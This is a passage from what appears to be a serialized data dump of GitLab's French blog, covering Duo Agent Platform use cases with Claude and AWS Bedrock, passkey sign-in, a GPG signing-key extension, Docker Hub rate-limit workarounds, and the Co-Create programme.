externe\")\n\n\n\n![Nouvelle application créée par l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/rijlwchqo1zytp842bld.png \"Nouvelle application créée par l'agent externe\")\n\n\n\n![Build et exécution locale de l'application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058386/aycpfxa0mdbfbxf2ydu3.png \"Build et exécution locale de l'application\")\n\n\n\n![Test local de l'application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058388/rxlvwmzlx8vor92qhotl.png \"Test local de l'application\")\n\n### 2. Revue de code\n\nL'assurance qualité ne se limite pas à la génération de code. Dans le deuxième cas d'utilisation, le même agent externe effectue une revue de code complète de l'application qu'il a créée. En mentionnant l'agent dans un commentaire de la merge request, les équipes reçoivent une analyse détaillée comprenant les points forts du code, les problèmes critiques, les préoccupations de priorité moyenne, les améliorations mineures, les évaluations de sécurité, les notes de test, les métriques du code et les recommandations accompagnées d'un statut d'approbation. Ce processus de revue automatisée garantit la cohérence et détecte les problèmes potentiels avant qu'ils n'atteignent la production. Il permet aussi de libérer les développeurs expérimentés pour qu'ils se concentrent sur les décisions architecturales plutôt que sur les inspections routinières du code.\n\n\n![Demande de revue de code à l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/ri7x5qkx9bfnidfn8gx1.png \"Demande de revue de code à l'agent externe\")\n\n\n\n![Résultats de la revue de code par l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/trdamdekrnvkbnfz0twg.png \"Résultats de la revue de code par l'agent externe\")\n\n\n\n### 3. Création d'un pipeline pour construire une image de conteneur\n\nLe dernier cas d'utilisation se concentre sur une lacune courante : l'automatisation du déploiement. Lorsque la merge request ne dispose pas de [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), les équipes peuvent simplement demander à l'agent externe d'en créer un. L'agent génère une configuration de pipeline complète qui construit l'application, crée un Dockerfile au moyen d'images de base adaptées à la version Java du projet, construit une image [Docker](https://about.gitlab.com/fr-fr/blog/what-is-docker-comprehensive-guide/ \"Qu'est-ce que Docker ?\") et la déploie dans le registre de conteneurs intégré de GitLab. Le pipeline s'exécute automatiquement et suit les étapes de build, de création d'image Docker et de déploiement dans le registre sans configuration ni intervention manuelle.\n\n\n![Prompt pour que l'agent externe crée un pipeline et une image de conteneur](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/bwqipksewm1hejuycwqh.png \"Prompt pour que l'agent externe crée un pipeline et une image de conteneur\")\n\n\n\n![Nouveau pipeline et fichiers Dockerfile créés par l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/agyr8hhc1vax7aarsxoj.png \"Nouveau pipeline et fichiers Dockerfile créés par l'agent externe\")\n\n\n\n![Exécution réussie du pipeline venant d'être créé](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/cdm4mye5edkpemedpxts.png \"Exécution réussie du pipeline venant d'être créé\")\n\n\n\n![Image de conteneur créée suite à l'exécution du pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/bifx71xz9k7vedbo9xl3.png \"Image de conteneur créée suite à l'exécution du pipeline\")\n\n## Résumé\n\nAvec ses agents externes, GitLab Duo Agent Platform représente un changement fondamental dans la manière dont les organisations abordent le développement logiciel. En remédiant à l'isolation des outils d'IA et à la fragmentation des workflows, les agents externes offrent une automatisation intelligente directement dans les plateformes que les équipes utilisent déjà. Plutôt que de traiter l'IA comme un assistant de codage séparé, GitLab Duo Agent Platform intègre de manière transparente des modèles externes comme Claude dans votre workflow GitLab, pour que les agents puissent comprendre le contexte complet du projet, respecter les normes de l'organisation et gérer en toute autonomie des tâches complexes à chaque étape du [SDLC](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"Qu'est-ce que le SDLC ?\").\n\nLa proposition de valeur est claire : les équipes de développement accélèrent les délais de livraison, maintiennent une qualité de code cohérente, réduisent le travail répétitif et libèrent les ingénieurs expérimentés afin qu'ils se concentrent sur l'innovation plutôt que sur les tâches routinières. De la génération de code prêt pour la production basée sur des descriptions de tickets à la réalisation de revues de code approfondies et à l'automatisation des pipelines de déploiement, les agents externes deviennent des collaborateurs de confiance qui comprennent les besoins et normes spécifiques de votre organisation.\n\nDécouvrez comment votre équipe peut livrer plus rapidement et maintenir une qualité de code supérieure sans changer de contexte tout au long du cycle de vie du développement logiciel. Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui. Ensuite, consultez notre article [« Démarrer avec GitLab Duo Agent Platform : le guide complet »](https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-complete-getting-started-guide/).\n\n",[756,816,798],{"featured":652,"template":806,"slug":865},"gitlab-duo-agent-platform-with-claude-accelerates-development",{"content":867,"config":878},{"date":868,"title":869,"description":870,"authors":871,"heroImage":874,"body":875,"category":665,"tags":876},"2026-04-01","Accélérer l'innovation dans la chaîne de développement logiciel avec GitLab Duo Agent Platform et AWS Bedrock","Enjeux actuels, vision de GitLab et cas d'usage concrets : découvrez comment une orchestration intelligente des agents d'IA peut transformer votre organisation.",[872,873],"Olivier Dupré","Charlotte Delbosc","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1751464636/htrk5th3q0tq1rcfntkp.png","Accélérer le développement logiciel grâce à l'intelligence artificielle, c'est la promesse que beaucoup d'entreprises cherchent à tenir. Mais entre la multiplication des outils, la multiplication des modèles et la pression croissante en matière de [sécurité et de conformité](https://about.gitlab.com/fr-fr/blog/meet-regulatory-standards-with-gitlab/ \"Sécurité et conformité\"), la réalité est souvent plus complexe qu'un simple gain de productivité sur l'écriture de code.\n\nComment passer d'une IA expérimentale et fragmentée à une IA véritablement industrialisée, gouvernée et intégrée à l'ensemble du cycle de développement logiciel ? C'est la question centrale à laquelle GitLab répond avec GitLab Duo Agent Platform, en offrant à ses clients toute la flexibilité dont ils ont besoin en termes d’hébergement des modèles, pour répondre à leurs contraintes opérationnelles.\n\nDécouvrez dans cet article comment l'orchestration intelligente des agents d'IA peut transformer l’ensemble du cycle de développement logiciel, à travers deux cas d’usage concrets avec AWS Bedrock comme backend LLM.\n\n> 🎯 Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui !\n\n## L'IA en entreprise : de l'expérimentation à la gouvernance à grande échelle\n\nEn 2025, **près de 88 % des organisations utilisaient déjà l'IA dans au moins une fonction métier**, selon une enquête de McKinsey. Un chiffre qui illustre un basculement majeur : l'IA n'est plus un sujet d'expérimentation isolée. Elle est devenue un enjeu de production, de gouvernance et de gestion des risques à l'échelle de l'entreprise.\n\n![Enquête de McKinsey 2025](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774026444/orfmpn658y49717y3n8f.png)\n\nSur les deux dernières années, l'utilisation de l'IA générative s’est intensifiée, entraînant dans son sillage une multiplication d'outils, de modèles et de preuves de concept. Une complexité croissante qui soulève une question de fond : qui utilise quel modèle, avec quelles données, et sous quel niveau de sécurité et de conformité ? Face à ce manque de visibilité, les entreprises réclament désormais davantage de traçabilité, de contrôle et de gouvernance sur leur utilisation de l’IA. \n\n## Le paradoxe de l'IA dans le développement logiciel\n\nDans la chaîne de développement logiciel, un paradoxe s'est installé : l'IA a certes accéléré la phase de codage, mais toutes les autres étapes du cycle de développement logiciel restent des goulots d'étranglement. Spécifications, revues de code, tests, sécurité, déploiements, surveillance… autant d'étapes qui n'ont pas encore pleinement profité des avantages de l’intelligence artificielle.\n\nC’est dans ce contexte que s'inscrit la stratégie de GitLab : passer d’une approche fragmentée de l’IA à une plateforme unifiée où le code, la sécurité et la conformité ainsi que l’IA coexistent au même endroit. \n\n## GitLab : de l’approche DevSecOps  à l’orchestration intelligente\n\nGitLab a transformé sa plateforme, d’une simple plateforme [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") pour gérer étape par étape le cycle de vie logiciel à une **plateforme d'orchestration intelligente** qui unifie à la fois le DevSecOps et l'IA.\n\nL'objectif n'est plus seulement d'automatiser chaque étape individuellement, mais de **permettre aux équipes d'orchestrer leurs agents d’IA** pour livrer des logiciels plus vite, de manière plus sécurisée, et avec une gouvernance renforcée depuis une plateforme unique.\n\n### Une intégration adaptée à vos besoins\n\nL'approche de GitLab s’adapte à vos contraintes existantes : \n\n* **Intégration à vos workflows existants** : projets, pipelines, outils.\n* **Exploitation de votre contexte métier** : les agents GitLab s'appuient sur votre code et votre contexte pour être immédiatement opérationnels sur vos applications.\n* **Respect de vos règles de sécurité et de conformité** : politiques d'accès, localisation des données.\n* **Maîtrise totale de votre infrastructure** : avec des modèles auto-gérés ou hébergés sur AWS, vous avez la possibilité d'utiliser les modèles de votre choix, tout en conservant vos données et votre contrôle. Et si vos contraintes l'exigent, vous pouvez également basculer sur AWS European Sovereign Cloud, voire fonctionner en environnement totalement isolé d'Internet.\n\nPour illustrer concrètement ces capacités, intéressons-nous aux deux cas d'usage suivants.\n\n## GitLab Duo Agent Platform et AWS Bedrock en pratique\n\nLes deux cas d'usage présentés ci-dessous s'appuient sur une instance GitLab déployée sur AWS, avec AWS Bedrock comme backend LLM. Les modèles ont été préalablement configurés dans GitLab pour alimenter les différentes fonctionnalités de GitLab Duo Agent Platform : suggestion de code, GitLab Duo Agentic Chat, explication de code, etc. \n\n### Cas d'usage 1 : utilisation de l’agent Security Analyst\n\nLes scans SAST et SCA sont essentiels, mais ils génèrent souvent un volume important de vulnérabilités, difficiles à classer, prioriser et traiter efficacement. C'est là qu'intervient l'agent Security Analyst de GitLab. Cet agent d’IA spécialisé joue le rôle d'un analyste sécurité augmenté : \n\n* Il se connecte aux résultats des scans de sécurité.\n* Il analyse les vulnérabilités et estime leurs niveaux de risque.\n* Il priorise les éléments critiques et propose des plans de remédiation.\n\nLes bénéfices sont mesurables : moins de bruit pour les développeurs, un gain de temps pour les équipes AppSec, et une réduction observable du volume de vulnérabilités en production.\n\nLa sécurité n'est pas le seul domaine où les agents d’IA font la différence. Le cas d'usage suivant montre comment cette même logique d'orchestration peut transformer le quotidien des équipes de développement avec l’aide de plusieurs agents spécialisés. \n\n### Cas d'usage 2 : de la user story à la merge request avec des agents d’IA\n\nTransformer une user story en code fonctionnel, accompagné de tests et d’une documentation, est un processus long et variable d'un développeur à l'autre. \n\nPour faciliter le travail des équipes, GitLab propose un **flow “Développeur” qui orchestre simultanément plusieurs agents d’IA** à partir d’un simple ticket :\n\n1. Un agent propose le **plan de développement** et **génère le code**.\n2. Un agent **effectue les tests**.\n3. Un agent **rédige et met à jour la documentation**.\n\nCe flow de bout en bout permet de gagner un temps précieux entre l’idée et le développement, tout en standardisant les pratiques et en garantissant la conformité avec les contraintes de l'entreprise.\n\n## L'IA comme levier industriel\n\nL'enjeu n'est pas d'avoir plus d'IA, mais de faire en sorte que **les équipes et les agents d’IA collaborent ensemble à l'échelle de l'entreprise**. Avec GitLab et son approche d’orchestration intelligente, les équipes DevSecOps alignent leurs workflows, leurs règles de sécurité et leurs modèles pour faire de l’IA un véritable avantage compétitif. \n\n> 🎯 Prêt à accélérer votre développement logiciel ? Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui !\n\n### Ressources complémentaires\n\n* [GitLab Duo Agent Platform : le guide complet](https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-complete-getting-started-guide/)\n* [Démarrer avec GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/blog/introduction-to-gitlab-duo-agent-platform/)\n* [Démarrer avec GitLab Duo Agentic Chat](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-duo-agentic-chat/)\n* [GitLab Duo Agent Platform : comprendre les agents](https://about.gitlab.com/fr-fr/blog/understanding-agents-foundational-custom-external/)\n* [Comprendre les flows : workflows multi-agents](https://about.gitlab.com/fr-fr/blog/understanding-flows-multi-agent-workflows/)\n* [Découvrir le catalogue d'IA : créer et partager des agents et des flows](https://about.gitlab.com/fr-fr/blog/ai-catalog-discover-and-share-agents/)\n* [Surveiller, gérer et automatiser les workflows d'IA](https://about.gitlab.com/fr-fr/blog/monitor-manage-automate-ai-workflows/) \n* [Intégrer le Model Context Protocol](https://about.gitlab.com/fr-fr/blog/duo-agent-platform-with-mcp/)\n* [Personnaliser GitLab Duo Agent Platform : règles, prompts et workflows](https://about.gitlab.com/fr-fr/blog/customizing-gitlab-duo-chat-rules-prompts-workflows/)",[877,816,835],"AWS",{"featured":13,"template":806,"slug":879},"gitlab-duo-agent-platform-and-aws-bedrock",{"category":680,"slug":678,"posts":881},[882,894,906],{"content":883,"config":892},{"title":884,"description":885,"authors":886,"heroImage":888,"date":889,"body":890,"category":678,"tags":891},"Les clés d'accès pour l'authentification sans mot de passe et à deux facteurs sont désormais disponibles sur GitLab","Découvrez comment enregistrer une clé d'accès sur votre compte et comment prévenir le hameçonnage avec l'authentification à deux facteurs.",[887],"GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772029801/qk75nu1eezxa6aiefpup.png","2026-03-10","Les clés d'accès sont désormais disponibles sur GitLab et offrent un moyen plus sécurisé et pratique d'accéder à votre compte. Vous pouvez les utiliser comme méthode d'authentification sans mot de passe ou comme authentification à deux facteurs (2FA) pour prévenir tout risque de hameçonnage. Les clés d'accès vous permettent de vous authentifier à l'aide d'une empreinte digitale, de la reconnaissance faciale ou du code PIN sur votre appareil. Si vous avez activé l'authentification à deux facteurs, les clés d'accès deviendront automatiquement votre méthode d'authentification à deux facteurs par défaut.\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv\" title=\"Passwordless authentication using passkeys\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe> \u003C/figure>\n\n\u003Cbr>\u003C/br>\n\nPour enregistrer une clé d'accès sur votre compte, accédez aux paramètres de votre profil et sélectionnez **Compte > Gérer l'authentification**.\n\nLes clés d'accès utilisent la technologie WebAuthn et la cryptographie à clé publique, composée d'une clé privée et d'une clé publique. Votre clé privée est stockée de façon sécurisée sur votre appareil et ne le quitte jamais, tandis que votre clé publique est stockée sur GitLab. Même si GitLab était compromis, les attaquants ne pourraient pas utiliser vos identifiants stockés pour accéder à votre compte. Les clés d'accès fonctionnent sur les navigateurs de bureau (Chrome, Firefox, Safari, Edge), les appareils mobiles (iOS 16 et versions ultérieures, Android 9 et versions ultérieures) et les clés de sécurité matérielles FIDO2, ce qui vous permet d'enregistrer plusieurs clés d'accès sur vos appareils pour garantir un accès pratique.\n\n![Connexion avec clé d'accès dans le cadre d'une authentification à deux facteurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png)\n\nGitLab a signé l'[engagement Secure by Design de l'agence fédérale CISA](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/), qui vise à améliorer notre posture de sécurité et à aider nos clients à développer des logiciels sécurisés plus rapidement. L'un des objectifs clés de cet engagement est d'augmenter l'utilisation de l'[authentification multifacteur (MFA)](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/#multi-factor-authentication-mfa) sur l'ensemble des produits du fabricant. Les clés d'accès font partie intégrante de cet objectif et offrent une méthode MFA fluide qui résiste au hameçonnage et rend la connexion à GitLab à la fois plus sûre et plus pratique.\n\nSi vous avez des questions, souhaitez partager votre expérience ou aimeriez échanger directement avec notre équipe concernant de potentielles améliorations, consultez ce [ticket](https://gitlab.com/gitlab-org/gitlab/-/work_items/366758).\n",[768,756],{"featured":652,"template":806,"slug":893},"passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab",{"content":895,"config":904},{"title":896,"description":897,"heroImage":898,"authors":899,"date":901,"body":902,"category":678,"tags":903},"Signature des métadonnées des dépôts de paquets GitLab : prolongation de la clé GPG","La clé GPG utilisée pour signer les métadonnées des dépôts sur l'instance Packagecloud de GitLab sur packages.gitlab.com a été prolongée.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771934335/c4f7zzdelhwcihaqwxym.png",[900],"Denis Afonso","2026-02-24","GitLab utilise une clé GPG pour signer les métadonnées des différents dépôts apt et yum utilisés pour distribuer les paquets omnibus-gitlab et gitlab-runner officiels afin de garantir l'intégrité des paquets, en plus des paquets eux-mêmes qui sont signés par une clé distincte.\n\nLa clé actuelle utilisée pour la signature des métadonnées, avec l'empreinte `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`, devait expirer le 27 février 2026 et a été prolongée jusqu'au 6 février 2028.\n\n## Pourquoi prolongeons-nous cette date d'expiration ?\n\nLa date d'expiration de la clé de signature des métadonnées du dépôt est prolongée périodiquement pour satisfaire aux politiques de sécurité de GitLab et pour limiter l'exposition en cas de compromission de la clé. Au lieu de remplacer la clé, la date d'expiration de cette dernière est prolongée afin de limiter les perturbations pour les utilisateurs, car un remplacement obligerait tous les utilisateurs à mettre à jour leur clé.\n\n## Que dois-je faire ?\n\nSi vous avez configuré les dépôts GitLab sur votre machine avant le 17 février 2026, veuillez consulter la documentation officielle : [Comment récupérer et ajouter la nouvelle clé](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys).\n\nSi vous êtes un nouvel utilisateur, vous n'avez rien à faire, si ce n'est de consulter la [page d'installation de GitLab](https://about.gitlab.com/fr-fr/install/) ou la [documentation d'installation de gitlab-runner](https://docs.gitlab.com/runner/install/linux-repository.html).\n\nDes informations supplémentaires concernant la [vérification des signatures des métadonnées du dépôt](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys) sont disponibles dans la documentation Omnibus. Si vous avez simplement besoin d'actualiser une copie de la clé publique, vous pouvez la trouver sur l'un des serveurs de clés GPG en recherchant support@gitlab.com ou en utilisant l'ID de clé `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`.\n\nVous pouvez également la télécharger directement depuis packages.gitlab.com en accédant à l'URL `https://packages.gitlab.com/gpg.key`.\n\n## Que faire si j'ai besoin d'aide supplémentaire ?\n\nVeuillez ouvrir un ticket dans le [suivi des tickets omnibus-gitlab](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).",[756],{"featured":652,"template":806,"slug":905},"gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended",{"content":907,"config":917},{"title":908,"description":909,"authors":910,"heroImage":912,"date":913,"body":914,"category":678,"tags":915,"updatedDate":916},"Nouvelles limites de Docker Hub : vos pipelines GitLab CI/CD sont impactés","Les nouvelles limites de Docker Hub relatives aux pulls d'images vont affecter les pipelines GitLab. Voici ce qu'il faut savoir.",[911],"Tim Rizzi","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","2025-03-24","Le 1er avril 2025, Docker va mettre en place de nouvelles [limites de débit relatives aux pulls d'images](https://docs.docker.com/docker-hub/usage/) sur Docker Hub, susceptibles d'impacter de manière significative les pipelines CI/CD de développement logiciel, y compris ceux qui s'exécutent sur GitLab. Le changement le plus notable : un plafond fixé à 10 pulls d'images par heure pour les utilisateurs non authentifiés.\n\n## Quels sont les changements attendus ?\n\nÀ compter du 1er avril, [Docker](https://about.gitlab.com/fr-fr/blog/what-is-docker-comprehensive-guide/ 'Docker') va appliquer les limites strictes suivantes aux pulls d'images (téléchargements d'images) :\n\n| Type d'utilisateur | Limite de pulls d'images par heure | Nombre de dépôts publics | Nombre de dépôts privés |\n|-----------|--------------------------|-------------------------------|--------------------------------|\n| Business, Team, Pro (authentifié) | Illimité (utilisation raisonnable) | Illimité | Illimité |\n| Personal (authentifié) | 100 | Illimité | Jusqu'à 1 |\n| Utilisateurs non authentifiés | 10 par adresse IPv4 ou sous-réseau IPv6/64 | Non applicable | Non applicable |\n\nCes nouveaux quotas sont particulièrement importants pour les raisons suivantes :\n- Le proxy de dépendances de GitLab effectue actuellement des pulls à partir de Docker Hub en tant qu'utilisateur non authentifié.\n- La plupart des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/) qui n'utilisent pas le proxy de dépendances effectuent des pulls directement à partir de Docker Hub en tant qu'utilisateurs non authentifiés.\n- Pour les runners hébergés sur GitLab.com, le partage d'une même adresse IP ou sous-réseau par plusieurs utilisateurs les soumet collectivement à cette limite.\n\n## Quel impact sur les utilisateurs de GitLab ?\n\n**Impact sur les pulls directs depuis Docker Hub**\n\nSi vos pipelines CI/CD effectuent des pulls directement depuis Docker Hub sans authentification, ils seront limités à 10 pulls d'images par heure et par adresse IP. Dans le cas de pipelines exécutés fréquemment ou sur plusieurs projets partageant la même infrastructure de runner, cette limite sera rapidement atteinte, ce qui entraînera des échecs de pipeline.\n\n**Impact sur le proxy de dépendances de GitLab**\n\nLa fonctionnalité de proxy de dépendances de GitLab permet de mettre en cache des images Docker dans GitLab pour accélérer les pipelines et réduire la dépendance aux registres externes. Cependant, dans sa version actuelle, ce proxy effectue des pulls d'images depuis Docker Hub en tant qu'utilisateur non authentifié, ce qui signifie qu'il est lui aussi soumis à la limite des 10 pulls d'images par heure.\n\n**Impact sur les runners hébergés**\n\nSur GitLab.com, les runners hébergés s'appuient sur le [cache pull-through de Google Cloud](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images?hl=fr), qui met en miroir les images fréquemment téléchargées. Cela permet d'éviter les limites de débit, comme pour les images de job définies comme `image:` ou `services:` dans votre fichier `.gitlab-ci.yml`.\n\nTout se complique légèrement lorsque les images sont téléchargées dans l'environnement du runner. Le cas le plus courant de pull d'images pendant l'exécution du runner concerne la création d'une image à l'aide de Docker-in-Docker ou de Kaniko. Dans ce scénario, l'image Docker Hub définie dans votre `Dockerfile` fait l'objet d'un pull directement depuis Docker Hub. Elle est donc susceptible d'être affectée par les limites de débit.\n## Comment GitLab répond à ces nouveaux quotas ?\n\nNous travaillons activement à la recherche de solutions pour atténuer les impacts liés à ces nouvelles limites :\n\n* **Authentification du proxy de dépendances :** nous avons ajouté la prise en charge de l'authentification Docker Hub dans la [fonctionnalité de proxy de dépendances de GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/331741). Cela permettra à ce dernier de télécharger des images depuis Docker Hub en tant qu'utilisateur authentifié, et ainsi d'augmenter considérablement les limites de débit.  * **Mise à jour de la documentation :** nous avons actualisé notre [documentation](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials) afin de fournir des instructions claires sur la configuration de l'authentification des pipelines pour Docker Hub.\n* **Préparation de l'infrastructure interne :** nous préparons notre infrastructure GitLab.com afin de réduire au maximum l'impact de ces limites sur les runners hébergés.\n\n## Comment s'y préparer ?\n**Option 1 : configurez l'authentification Docker Hub dans vos pipelines**\n\nSi vos pipelines effectuent des pulls directement depuis Docker Hub, vous pouvez configurer l'authentification afin d'augmenter votre limite de taux à 100 pulls d'images par heure (ou illimitée avec un abonnement payant à Docker Hub).\n\nPour cela, ajoutez vos identifiants de connexion Docker Hub aux [variables CI/CD](https://about.gitlab.com/fr-fr/blog/demystifying-ci-cd-variables/) de votre projet ou groupe (ne les insérez pas directement dans le fichier `.gitlab-ci.yml`). Consultez les instructions détaillées de notre [documentation sur l'utilisation d'images Docker](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials) pour configurer correctement la variable CI/CD `DOCKER_AUTH_CONFIG`.\n\n**Option 2 : utilisez le registre de conteneurs GitLab**\n\nEffectuez un push des images Docker que vous utilisez le plus souvent dans votre [registre de conteneurs GitLab](https://docs.gitlab.com/user/packages/container_registry/) afin d'éviter de devoir effectuer un pull d'images depuis Docker Hub pendant l'exécution des pipelines CI/CD. Procédez comme suit :\n\n1. Effectuez un pull de l'image depuis Docker Hub.\n2. Attribuez-lui un tag adapté à votre registre de conteneurs GitLab.\n3. Effectuez un push de l'image dans votre registre de conteneurs GitLab.\n4. Mettez à jour vos pipelines pour qu'ils effectuent un pull de l'image depuis le registre de conteneurs GitLab.\n\n```shell\ndocker pull busybox:latest\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n```\n\nPuis ajoutez cette ligne de commande dans votre fichier `.gitlab-ci.yml` :\n\n`image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n**Option 3 : utilisez le proxy de dépendances de GitLab**\n\nLa fonctionnalité de proxy de dépendances de GitLab permet de mettre en cache les images Docker, tout en servant de proxy entre vos pipelines CI/CD et les registres Docker Hub, réduisant ainsi la dépendance aux registres externes et les risques liés aux limites de débit. \nOptions d'authentification actuelles :\n* GitLab 17.10 : configurez l'authentification Docker Hub pour le proxy de dépendances à l'aide de l'[API GraphQL](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api).\n* GitLab 17.11 : utilisez la nouvelle interface de configuration dans les paramètres de votre groupe (déjà disponible sur GitLab.com).\n\nUne fois l'authentification correctement configurée, vous pouvez procéder comme suit :\n\n1. Configurez les identifiants de connexion Docker Hub dans les paramètres du proxy de dépendances de votre groupe :\n  - Pour GitLab 17.11+ (ou la version actuelle de GitLab.com) : accédez aux paramètres de votre groupe > Paquets et registres > Proxy de dépendances.\n  - Pour GitLab 17.10 : utilisez l'API GraphQL afin de configurer l'authentification.\n2. Mettez à jour vos pipelines de façon à ce qu'ils utilisent les URL du proxy de dépendances pour la configuration de votre pipeline CI/CD :\n`image:${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n**Option 4 : envisagez d'acheter un abonnement payant à Docker Hub**\n\nPour les équipes qui utilisent Docker Hub de manière intensive, la mise à niveau vers un abonnement Docker payant (Team ou Business) permet d'accéder à un nombre illimité de pulls, ce qui peut s'avérer la solution la plus simple.\n\n## Comment limiter l'impact des nouveaux quotas de Docker Hub ?\n\nQuelle que soit l'option que vous choisissez, tenez compte de ces bonnes pratiques pour réduire au maximum l'impact des nouvelles limites de débit imposées par Docker Hub :\n\n* Utilisez des tags d'image spécifiques au lieu de `latest` pour éviter les pulls inutiles.\n* Consolidez vos fichiers Docker de façon à ce qu'ils réutilisent les mêmes images de base dans tous vos projets.\n* Planifiez l'exécution des pipelines les moins critiques en dehors des heures de pointe.\n* Tirez parti intelligemment de la mise en cache pour éviter d'effectuer maintes fois un pull des mêmes images.\n\n**Remarque :** selon la [documentation](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition) de Docker Hub, le nombre de pulls augmente dès que vous effectuez le pull d'un manifeste d'image, et non en fonction de la taille de l'image ou du nombre de couches.\n\n## Calendrier et prochaines étapes\n\n**Dès maintenant**\n  * Mettez en œuvre l'authentification pour les pulls directs depuis Docker Hub.\n  * Les utilisateurs de GitLab.com peuvent déjà configurer l'authentification Docker Hub pour le proxy de dépendances en utilisant :\n    * l'API GraphQL, ou\n    * l'interface utilisateur dans les paramètres de groupe.\n  * Les utilisateurs de GitLab Self-Managed 17.10 peuvent configurer l'authentification du proxy de dépendances à l'aide de l'API GraphQL.\n\n**1er avril 2025**\n  * Les limites de débit de Docker Hub entrent en vigueur.\n\n**17 avril 2025**\n  * Sortie de GitLab 17.11 qui prendra en charge l'authentification du proxy de dépendances via l'interface utilisateur pour les instances GitLab Self-Managed.\nNous vous recommandons d'appliquer ces mesures bien dès maintenant pour éviter des échecs de pipelines inattendus. Pour la plupart des utilisateurs, configurer le proxy de dépendances avec l'authentification Docker Hub est la solution la plus efficace à long terme.\n\n> Vous avez des questions ou besoin d'aide pour la mise en œuvre ? Consultez [ce ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/526605) dans lequel notre équipe fournit une assistance dédiée à ces changements.",[89,730,835],"2025-03-28",{"slug":918,"featured":13,"template":806},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"category":693,"slug":691,"posts":920},[921,937,951],{"content":922,"config":935},{"title":923,"description":924,"authors":925,"heroImage":927,"date":928,"body":929,"category":691,"tags":930,"updatedDate":934},"Programme Co-Create : comment nous construisons GitLab avec nos clients","Découvrez comment Thales, Scania et Kitware collaborent avec les ingénieurs de GitLab pour contribuer au développement de fonctionnalités significatives.",[926],"Fatima Sarah Khalid","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","2025-01-30","L'année dernière, plus de 800 membres de la communauté ont apporté plus de 3 000 contributions à GitLab. Parmi ces contributeurs figurent des membres issus d'équipes travaillant pour des entreprises internationales comme Thales, Scania et Kitware qui contribuent à façonner l'avenir de GitLab grâce au [Programme Co-Create](https://about.gitlab.com/community/co-create/). Dans le cadre de ce programme de développement collaboratif mis en place par GitLab, les clients travaillent directement avec les ingénieurs de GitLab pour ajouter des fonctionnalités importantes à la plateforme.\n\nÀ travers des ateliers, des sessions de programmation en binôme et une assistance en continu, les participants au programme acquièrent une connaissance pratique de l'architecture et du code base de GitLab tout en résolvant des problèmes ou en améliorant des fonctionnalités existantes.\n\n*« Notre expérience avec le Programme Co-Create a été incroyable »*, déclare Sébastien Lejeune, Open Source Advocate chez Thales. *« Il n'a fallu que deux mois entre le moment où nous avons discuté de notre contribution avec un ingénieur de l'équipe Contributor Success de GitLab et le moment où nous l'avons intégrée à la version de GitLab. 